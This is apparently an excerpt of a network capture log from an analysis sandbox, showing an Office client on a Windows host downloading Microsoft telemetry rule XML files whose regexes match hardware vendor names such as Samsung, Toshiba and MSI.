Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:05 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:06 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:05 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: d4023ec4-f01e-00aa-5355-2e8521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050105Z-17df447cdb5wrr5fhC1DFWte8n0000000450000000000r9w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:06 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:05 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:06 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:05 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 80fffc35-b01e-0002-7355-2e1b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050105Z-17df447cdb57g7m7hC1DFW791s00000003x0000000003ww4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:06 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:07 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:07 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:07 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 9b119710-001e-0014-385c-2e5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050107Z-17df447cdb5fh5hghC1DFWam0400000000xg00000000kg81 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:07 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:07 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:07 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:07 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: bbcd7168-d01e-002b-5940-2e25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050107Z-15869dbbcc68l9dbhC1DFWr9fg000000017g000000007r81 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:07 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:07 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:07 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:07 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: c6b44c52-001e-0028-1ef0-2cc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050107Z-16547b76f7fx6rhxhC1DFW76kg00000007r0000000003d5s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 05:01:07 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:07 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:07 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:07 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: ceff4d6f-101e-007a-10c7-2c047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050107Z-16547b76f7fx6rhxhC1DFW76kg00000007s0000000000sx0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:07 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:07 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:07 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:07 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 5d06d88c-b01e-0084-0908-2cd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050107Z-16547b76f7f7jnp2hC1DFWfc3000000007u0000000000xxb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:07 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:07 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:08 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:07 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 40b62db1-901e-0029-227c-30274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050107Z-17df447cdb5w28bthC1DFWgb6400000003n000000000ekxh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 05:01:08 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:07 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:08 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:07 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 504dc720-801e-00a0-642f-2f2196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050107Z-15869dbbcc6rmhmhhC1DFWd7b8000000085000000000dr07 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:08 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:07 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:08 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:08 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: e7073254-701e-000d-07b1-2f6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050108Z-15869dbbcc6vr5dxhC1DFWqn6400000002bg000000009qx8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:08 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:07 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:08 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:08 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 23aea2f2-001e-0065-4c65-2e0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050108Z-15869dbbcc6kg5mvhC1DFW74ts00000001ag0000000006rn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 05:01:08 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:07 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:08 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:08 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: fb68cf1d-a01e-001e-3b01-2d49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050108Z-16547b76f7fnlcwwhC1DFWz6gw00000007vg000000001x12 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 05:01:08 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 